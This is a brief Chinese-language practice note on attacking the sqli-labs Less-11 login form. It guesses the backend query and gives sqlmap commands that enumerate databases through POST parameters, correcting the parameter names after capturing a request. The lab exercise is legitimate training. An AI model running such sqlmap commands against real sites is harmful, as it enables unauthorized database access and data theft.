错误回显
sql语句猜测
select * from users where username="参数" and password="参数" LIMIT 0,1
-dbs枚举数据库
使用-o参数优化,–batch参数进行跳过
不必尝试以下语句
python sqlmap.py -u "http://192.168.31.12/sqli-labs_1/Less-11/" -o --data="username:value1&password=value2&submit=submit" -dbs --batch
好吧,猜错了,以为就是回显的,还是抓下包吧。
抓包结果
可以看到参数名和sql语句中的不一样,是uname和passwd
python sqlmap.py -u "http://192.168.31.12/sqli-labs_1/Less-11/" -o --data="uname:value1&passwd=value2&submit=Submit" -dbs --batch
太慢,添加–technique参数指定注入技术,添加–dbms参数指定数据库